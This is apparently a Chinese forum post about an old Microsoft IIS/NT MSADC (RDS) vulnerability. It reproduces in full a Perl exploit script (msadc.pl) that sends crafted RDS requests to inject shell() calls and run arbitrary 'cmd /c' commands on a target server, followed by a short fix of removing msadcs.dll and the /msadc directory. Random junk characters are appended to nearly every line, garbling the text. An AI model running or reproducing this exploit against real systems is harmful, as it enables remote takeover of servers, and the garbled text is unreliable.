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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) m&(%&}g  
K*J4&5?/  
涉及程序: dVjcK/T<  
Microsoft NT server mRg ,A\  
\pT^Zhp)  
描述: $ l0eI  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 58a)&s[+  
`lH1IA/3  
详细: FCUVP,"T  
如果你没有时间读详细内容的话,就删除: rQ 9?N^&!%  
c:\Program Files\Common Files\System\Msadc\msadcs.dll }L{_xyi>#  
有关的安全问题就没有了。 Y#Sd2h,^X  
3Qm t]q  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 q!u lE{ ^  
-k|g04Q?  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 wC4AVJJ^>  
关于利用ODBC远程漏洞的描述,请参看: `!5tH?bX  
$cp16  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm UeutFNp  
e3oYy#QNk  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 G!> iqG  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp `[g# Mxw  
N{0+C?{_  
这里不再论述。 )VV4HoH]8  
:G6 xJlE|  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: "W3n BaG  
'=Ip5A{S/  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset v '"1/% L  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! rH [+/&w5  
E.WNykF-  
9Y!0>&o  
#将下面这段保存为txt文件,然后: "perl -x 文件名" P22y5z~  
DKaG?Y,*p  
#!perl )U"D4j*p  
# {d *qlztO  
# MSADC/RDS 'usage' (aka exploit) script ~(*co[_  
# 6qmo ZAg  
# by rain.forest.puppy 71}L# nQ  
# F|h ,a;2  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me TYmUPS$  
# beta test and find errors! f0N)N}y  
Q KDb  
use Socket; use Getopt::Std; c)n0D=  
getopts("e:vd:h:XR", \%args); 6@,'m  
Q T0IW(A  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 6cgpg+-a  
)\:lYI}Wpm  
if (!defined $args{h} && !defined $args{R}) { 2s]]!{Z#  
print qq~  8E.5k@  
Usage: msadc.pl -h <host> { -d <delay> -X -v } !)l%EJngL  
-h <host> = host you want to scan (ip or domain) z_[ 3IAZ  
-d <seconds> = delay between calls, default 1 second hhh: rmEZl  
-X = dump Index Server path table, if available af`f*{Co3  
-v = verbose 0qotC6l~_w  
-e = external dictionary file for step 5 5Qm.ECXV  
y:^>(l#;  
Or a -R will resume a command session w;h\Y+Myyk  
p8}5x 2F  
~; exit;} f;_K}23  
1,*Z_ F=y  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; I1}{~@  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} EFT02#F_f  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ,*O{jc`(  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); WMdz+^\(  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} <or>bo^  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } {XVf|zM,  
;)bF#@Q  
if (!defined $args{R}){ $ret = &has_msadc; GmEJ,%A  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} k:HSB</}  
ys"mP* wD  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" \8@[bpI@g  
. "cmd /c "; ;?Y` e  
$in=<STDIN>; chomp $in;  c+G:@%  
$command="cmd /c " . $in ; n<Xm%KH.  
]J"+VZ_"I  
if (defined $args{R}) {&load; exit;} *9U4^lJjn  
Xj@    
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 1rvf\[  
&try_btcustmr; \Im \*A   
"8j;k5<  
print "\nStep 2: Trying to make our own DSN..."; uN? O*h/(  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; :Jsz"vCg&s  
VQW)qOR9  
print "\nStep 3: Trying known DSNs..."; \Kzt*C-ZH  
&known_dsn; 4d3]pvv  
si"mM>e  
print "\nStep 4: Trying known .mdbs..."; 4'4s EjyA  
&known_mdb; b6E8ase:F  
d8y =.  
if (defined $args{e}){ 3<.j`JB@&  
print "\nStep 5: Trying dictionary of DSN names..."; i+ &lMgh  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } RWm Q]  
@gVyLefS6g  
print "Sorry Charley...maybe next time?\n"; 7`'fUhB!  
exit; ]mLTF',5  
ePcI^}{  
############################################################################## }FdcbNsP  
Xta>  
sub sendraw { # ripped and modded from whisker eMP Q| W  
sleep($delay); # it's a DoS on the server! At least on mine... FoelOq6  
my ($pstr)=@_; \ ]e w@C  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || /j5- "<;.  
die("Socket problems\n"); u Z39Vx  
if(connect(S,pack "SnA4x8",2,80,$target)){ Y_ ;i  
select(S); $|=1; x#}eC'Q  
print $pstr; my @in=<S>; 1 0Tg > H  
select(STDOUT); close(S); Gv2./<{#  
return @in; PTc\I  
} else { die("Can't connect...\n"); }} G<WDyoN=O  
@W5hrei  
############################################################################## a^)4q\E  
:tS>D5dz(  
sub make_header { # make the HTTP request @xM!:  
my $msadc=<<EOT d}B_ll#j-  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 :$Di.|l@7  
User-Agent: ACTIVEDATA ,I:m*.q  
Host: $ip sZP3xh[B  
Content-Length: $clen hZ /  
Connection: Keep-Alive `F`'b)  
Vh[o[ U  
ADCClientVersion:01.06 y2hFUq  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 lIc9, |FL  
%Fm;LQa ]  
--!ADM!ROX!YOUR!WORLD! r+.4|u  
Content-Type: application/x-varg x%?*]*W  
Content-Length: $reqlen ,8-_=*  
$6x:aG*F  
EOT p'c<v)ia  
; $msadc=~s/\n/\r\n/g; qYiK bzy  
return $msadc;} PC(iqL8r  
Pge}xKT  
############################################################################## 2P> za\  
'L+BkE6+%  
sub make_req { # make the RDS request 9h0,L/;\  
my ($switch, $p1, $p2)=@_; u|*| RuY  
my $req=""; my $t1, $t2, $query, $dsn; ^3@a0J=F  
;7=J U^@D@  
if ($switch==1){ # this is the btcustmr.mdb query s{EX ;   
$query="Select * from Customers where City=" . make_shell(); ua>~$`@gX  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . /Rcd}rO  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 2bG4 ,M  
TdOWdPvYj  
elsif ($switch==2){ # this is general make table query $=QO_t)?  
$query="create table AZZ (B int, C varchar(10))"; F^bQ-  
$dsn="$p1";} xgw)`>p,W  
Bst>9V&R  
elsif ($switch==3){ # this is general exploit table query 7a_n\]t465  
$query="select * from AZZ where C=" . make_shell(); d"`>&8*  
$dsn="$p1";} +6Fdi*:  
' oeg [  
elsif ($switch==4){ # attempt to hork file info from index server adPU)k_j:  
$query="select path from scope()"; F?AfB[PM  
$dsn="Provider=MSIDXS;";} "?(Fb_}i  
S aq>o.  
elsif ($switch==5){ # bad query nVA'O  
$query="select"; c5+lm}R?  
$dsn="$p1";} YhK/pt43C  
g<tTZD\g  
$t1= make_unicode($query); $P9$ ,w4  
$t2= make_unicode($dsn); GoA>sK  
$req = "\x02\x00\x03\x00"; H D ^~4\%  
$req.= "\x08\x00" . pack ("S1", length($t1)); {%~ Ec4r  
$req.= "\x00\x00" . $t1 ; :q[n1 O[Ch  
$req.= "\x08\x00" . pack ("S1", length($t2)); BU{ V,|10a  
$req.= "\x00\x00" . $t2 ; -#M~Nb I,  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; T.N7`  
return $req;} :=7;P)  
BcO2* 3  
############################################################################## i4C b&h^  
Jm,X~Si  
sub make_shell { # this makes the shell() statement fx"+ZR  
return "'|shell(\"$command\")|'";} =C2C~Xd  
69[k ?')LM  
############################################################################## qfe%\krN{i  
w:@M|O4`  
sub make_unicode { # quick little function to convert to unicode hRcJ):Wyb  
my ($in)=@_; my $out; ~i#xjD5  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } \uIC<#o"N  
return $out;} YAG3PWmD  
>~InO^R`5  
############################################################################## f^)nZ:~  
+34jot.!  
sub rdo_success { # checks for RDO return success (this is kludge) 3!UP>,!  
my (@in) = @_; my $base=content_start(@in); 3`q`W9  
if($in[$base]=~/multipart\/mixed/){ oob0^}^  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} j2n@8sCSO  
return 0;} 0t0:soZ x  
2xj`cFT  
############################################################################## ts$UC $  
G\AQql(f4  
sub make_dsn { # this makes a DSN for us a-5$GvG  
my @drives=("c","d","e","f"); ->{WO+6(  
print "\nMaking DSN: "; /T'nY{  
foreach $drive (@drives) { bG?[":k  
print "$drive: "; t!C-G+It  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . F+r6/e6a  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 2p[3Ap  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); {<8#T`I  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; = F<`-6  
return 0 if $2 eq "404"; # not found/doesn't exist %/C[\w p81  
if($2 eq "200") { 'FXZ`+r|  
foreach $line (@results) { _/\H3  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Y>~zt -  
} return 0;} !g:UM R  
7!)%%K.z6  
############################################################################## :M`BVZ1t  
"VCr^'  
sub verify_exists { Ry~LhU:  
my ($page)=@_; 7QFEQ}  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ,FO|'l  
return $results[0];} "G(/MT^C  
=LzW#s=O  
############################################################################## 06;{2&ju<  
31Du@h8YX  
sub try_btcustmr { ajr8tp'  
my @drives=("c","d","e","f"); 4!|ar?Zy  
my @dirs=("winnt","winnt35","winnt351","win","windows"); @SXgaWr  
g H.^NO5\'  
foreach $dir (@dirs) { rP_)*)  
print "$dir -> "; # fun status so you can see progress 2G;d2LR:  
foreach $drive (@drives) { |&Wo-;Ud  
print "$drive: "; # ditto y9<Fv|Ric  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; rJwJ5U  
$reqlenlen=length( "$reqlen" ); [X]o`  
$clen= 206 + $reqlenlen + $reqlen; t]XJ q  
UkKpS L}Q2  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); qo|iw+0Y  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} v_ h{_b8  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ?sE21m?b-  
gV BV@v!W  
############################################################################## $!w%=  
(%, '  
sub odbc_error { @su,w,xLS  
my (@in)=@_; my $base; nX'.'3  
my $base = content_start(@in); /+YWp>6LU  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this V:18]:  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; _A*0K,F-  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 9b6h!(  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; "Q4{6FH+mB  
return $in[$base+4].$in[$base+5].$in[$base+6];} Cv33?l-8%_  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; } d6^  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 471}'3  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} *uR'eXW  
cB^lSmu5  
############################################################################## Gx($q;8  
O*7 pg  
sub verbose { f0+  
my ($in)=@_; DK;-2K  
return if !$verbose; g= 8e.Y*Fr  
print STDOUT "\n$in\n";} ?Fu.,srt  
5N0H^  
############################################################################## g> f394j  
$-73}[UA 4  
sub save { `PfC:L  
my ($p1, $p2, $p3, $p4)=@_; .rHO7c,P~  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; x`&W[AA4  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; }$jIvb,3?  
close OUT;} `^ok5w"oi  
aL}_j#m{  
############################################################################## v3Kqs:"\  
pm+[,u!i  
sub load { ~7g6o^A>  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Sr IynO  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); F44")fY  
@p=<IN>; close(IN); #q%/~-Uk  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); zF7T5 Ge  
$target= inet_aton($ip) || die("inet_aton problems"); G].Z| Z9  
print "Resuming to $ip ..."; 1|--Xnv  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; sKtH4d5)  
if($p[1]==1) { >b0}X)Z+U  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; RWYA`  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ="4)!  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); KMa?2cJH#  
if (rdo_success(@results)){print "Success!\n";} va\cE*,@ns  
else { print "failed\n"; verbose(odbc_error(@results));}} PQ" Dl=,  
elsif ($p[1]==3){ E),T,   
if(run_query("$p[3]")){ `fXcW)  
print "Success!\n";} else { print "failed\n"; }} rE 8-MB  
elsif ($p[1]==4){ Rd/!CJ@g  
if(run_query($drvst . "$p[3]")){ :s\s3#?  
print "Success!\n"; } else { print "failed\n"; }} lU maNZ  
exit;} %?ad.F+7  
-VL3em|0  
############################################################################## gueCP+a_  
8}2 `^<U  
sub create_table { * -)aGL  
my ($in)=@_; oID, PB*9  
$reqlen=length( make_req(2,$in,"") ) - 28; &LE/hA  
$reqlenlen=length( "$reqlen" ); wbTw\b=  
$clen= 206 + $reqlenlen + $reqlen; <#sK~G  
my @results=sendraw(make_header() . make_req(2,$in,"")); x\WKsc  
return 1 if rdo_success(@results); ``{xm1GK  
my $temp= odbc_error(@results); verbose($temp); "Z <1Msz  
return 1 if $temp=~/Table 'AZZ' already exists/; 70@:!HI]  
return 0;} xQ4Q'9  
}/=_  
############################################################################## Yyf8B  
tP3Upw"U  
sub known_dsn { 3$_wAt4w  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Ktoxl+I?  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", L fhd02  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", %VgR *  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); r?{tBju^  
6B=J*8 Hs  
foreach $dSn (@dsns) { sHNt>5p  
print "."; cOSUe_S0w[  
next if (!is_access("DSN=$dSn")); TeHR,GB  
if(create_table("DSN=$dSn")){ ^VD14V3  
print "$dSn successful\n"; 09r.0Ks  
if(run_query("DSN=$dSn")){ M%m$ 5[;n  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { &12.|  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 92EvCtf  
R"jX9~3Ln  
############################################################################## $4m{g"xL  
z?7pn}-  
sub is_access { Lq:Z='Kc  
my ($in)=@_; ]`%cTdpLj  
$reqlen=length( make_req(5,$in,"") ) - 28; C 7v 8  
$reqlenlen=length( "$reqlen" ); : 7'anj  
$clen= 206 + $reqlenlen + $reqlen; \O[Cae:^?  
my @results=sendraw(make_header() . make_req(5,$in,"")); n,`&f~tap  
my $temp= odbc_error(@results); `3~w#?+=*  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); |2Q;SaI^\  
return 0;} uTQ/_$  
O:4.xe  
############################################################################## opKtSF|)  
D9h\=[%e  
sub run_query { Hly$ Wm  
my ($in)=@_; Tw$lakw  
$reqlen=length( make_req(3,$in,"") ) - 28; 4q2aVm  
$reqlenlen=length( "$reqlen" ); DF<_Ns!  
$clen= 206 + $reqlenlen + $reqlen; L49`=p<  
my @results=sendraw(make_header() . make_req(3,$in,"")); }JS?42CTaV  
return 1 if rdo_success(@results); xRb-m$B}L  
my $temp= odbc_error(@results); verbose($temp); E=7~\7TE  
return 0;} J^U#dYd  
*g7dB2{  
############################################################################## > >p3#~/  
tcfUhSz,I  
sub known_mdb { Y>r9"X| &H  
my @drives=("c","d","e","f","g"); IYd)Vv3'j  
my @dirs=("winnt","winnt35","winnt351","win","windows"); fN@2 B  
my $dir, $drive, $mdb; ydw')Em  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; {$b]K-B  
e(sQgtM6  
# this is sparse, because I don't know of many oE}1D?3Sp  
my @sysmdbs=( "\\catroot\\icatalog.mdb", E}UlQq  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", H13|bM<  
"\\system32\\certmdb.mdb", 2%QY~Ku~  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% J?HYN%  
1N2s[ \q$  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", : -OHD#>%  
"\\cfusion\\cfapps\\forums\\forums_.mdb", bEbnZ<kz*  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", m3,i{  
"\\cfusion\\cfapps\\security\\realm_.mdb", YoJN.],gf  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", OPar"z^EV  
"\\cfusion\\database\\cfexamples.mdb", qm2  
"\\cfusion\\database\\cfsnippets.mdb", dF"Sz4DY#  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 5TqX;=B  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ~nw]q<7r  
"\\cfusion\\brighttiger\\database\\cleam.mdb", /_v@YB!0  
"\\cfusion\\database\\smpolicy.mdb", lf&g *%?1  
"\\cfusion\\database\cypress.mdb", ]h,XRDK  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", +v/_R{ M  
"\\website\\cgi-win\\dbsample.mdb", 5F $W^N  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", smJ%^'x  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" `8EHhN;  
); #these are just U\P ;,o  
foreach $drive (@drives) { Z':}ZXy]  
foreach $dir (@dirs){ - 3kg,=HU;  
foreach $mdb (@sysmdbs) { 4Y[tx]<  
print "."; !h4L_D0  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ mJl|dk_c  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; |,|b~>  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 3DbS\jja  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; S 7RB` I5  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ,*Jm\u  
GHfsq|*j,Z  
foreach $drive (@drives) { UT%^!@u  
foreach $mdb (@mdbs) { 7*`cWT_X  
print "."; ki48]#p  
if(create_table($drv . $drive . $dir . $mdb)){ F.zn:yX5  
print "\n" . $drive . $dir . $mdb . " successful\n"; H1]G<N3  
if(run_query($drv . $drive . $dir . $mdb)){ -:&qNY:Vp  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; /aP4'U8ov  
} else { print "Something's borked. Use verbose next time\n"; }}}} W&qE_r  
} %&0_0BU  
8V?O=3<a  
############################################################################## HsO4C)/  
B/7c`V  
sub hork_idx { t[|^[%i  
print "\nAttempting to dump Index Server tables...\n"; q3n(Z  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Hn+w1v&3  
$reqlen=length( make_req(4,"","") ) - 28; rfku]A$  
$reqlenlen=length( "$reqlen" ); ?*){%eE  
$clen= 206 + $reqlenlen + $reqlen; \hoYQK j  
my @results=sendraw2(make_header() . make_req(4,"","")); ;b-Y$<  
if (rdo_success(@results)){ ^^1rjh1I  
my $max=@results; my $c; my %d; Q E1DTU  
for($c=19; $c<$max; $c++){ w-LMV>+6|  
$results[$c]=~s/\x00//g; l.Iov?e1S  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; |hk?'WGc`0  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; gq\ulLyOeZ  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; $n.oY5=\  
$d{"$1$2"}="";} XDRw![H,~  
foreach $c (keys %d){ print "$c\n"; } gmd-$%"  
} else {print "Index server doesn't seem to be installed.\n"; }} fO|oV0Rw  
)5Mf,  
############################################################################## [9Q}e;T  
v2][gn+58  
sub dsn_dict { WW\t<O;z  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); S3l$\X;6X  
while(<IN>){ }&M$  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; +zn&DG0\X  
next if (!is_access("DSN=$dSn")); U= QfInB  
if(create_table("DSN=$dSn")){ Z:j6AF3;  
print "$dSn successful\n"; b=(?\  
if(run_query("DSN=$dSn")){ QpbyC_:;$4  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { c0h:Vqk-  
print "Something's borked. Use verbose next time\n";}}} 9x$Kb7'F  
print "\n"; close(IN);} uY{V^c#mv  
J=Q?_$xb}  
############################################################################## u2}zRC=  
&]~Vft l  
sub sendraw2 { # ripped and modded from whisker qn=~4rg]R  
sleep($delay); # it's a DoS on the server! At least on mine... I*hCIy#;  
my ($pstr)=@_; 5F&xU$$a-  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 8$4@U;Vh;  
die("Socket problems\n"); ?( rJ  
if(connect(S,pack "SnA4x8",2,80,$target)){ SFP%UfM<  
print "Connected. Getting data"; V 3?x_pp  
open(OUT,">raw.out"); my @in; KElzYZl8  
select(S); $|=1; print $pstr; 99)md   
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 3z5w}qN] M  
close(OUT); select(STDOUT); close(S); return @in; U (*k:Fw  
} else { die("Can't connect...\n"); }} kB:6e7D|[  
KVQ|l,E, /  
############################################################################## XpS].P9  
!} ~K'1"  
sub content_start { # this will take in the server headers [ed6n@/O@  
my (@in)=@_; my $c; %+0 7>/  
for ($c=1;$c<500;$c++) { 9 8O0M#|d  
if($in[$c] =~/^\x0d\x0a/){ vG;)(.:  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } *>"k/XUn$  
else { return $c+1; }}} a8$gXX-2  
return -1;} # it should never get here actually R{N9'2l:  
_ljdo`j#N  
############################################################################## nZ7FG  
] A.:8;  
sub funky { wd 86 y  
my (@in)=@_; my $error=odbc_error(@in); iY_E"$}P  
if($error=~/ADO could not find the specified provider/){ q3Tp /M.  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; I#?NxP\S  
exit;} u^5X@ .  
if($error=~/A Handler is required/){ 98"/]ERJ  
print "\nServer has custom handler filters (they most likely are patched)\n"; iPoh2  
exit;} n^kszIu~  
if($error=~/specified Handler has denied Access/){ N!RkV\:X  
print "\nServer has custom handler filters (they most likely are patched)\n"; U5_1-wV  
exit;}} eksYIQZ]  
!LDuCz -  
############################################################################## m 3k}iIU7  
~Q4 emgBD  
sub has_msadc { [3&Y* W  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); DSb/+8KT  
my $base=content_start(@results); 'Ll,HgU;  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 6h8fzqRzc  
return 0;} L&*/ s&>b  
sA!,)'6  
######################## Y5rR  
AC'$~4  
8~q%H1[I\N  
解决方案: o'uv5asdb  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll -^a?]`3_v  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 XnBpL6"T`  
?$:;hGO.<~  
拿出来充数 哈哈
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